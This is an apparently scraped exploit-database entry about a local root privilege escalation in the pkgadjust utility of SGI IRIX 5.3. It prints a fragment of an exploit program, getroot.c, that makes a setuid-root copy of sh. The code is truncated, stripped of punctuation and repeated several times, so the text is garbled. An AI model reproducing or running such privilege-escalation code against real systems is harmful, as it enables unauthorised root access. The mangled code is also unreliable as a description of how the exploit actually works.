SGI IRIX 5.3 - 'pkgadjust' Local Privilege Escalation

source: https://www.securityfocus.com/bid/419/info A vulnerability exists in the pkgadjust utility shipped with Irix 5.3 from Silicon Graphics. This vulnerability can result in the compromise of the root account. % cat getroot.c int main setuid0; chown"sh",0,0; chmod"sh",04755; return 0; % cc...

SGI IRIX 5.3 - pkgadjust Local Privilege Escalation

SGI IRIX 5.3 - pkgadjust Local Privilege Escalation source: https://www.securityfocus.com/bid/419/info A vulnerability exists in the pkgadjust utility shipped with Irix 5.3 from Silicon Graphics. This vulnerability can result in the compromise of the root account. % cat getroot.c int main setuid0...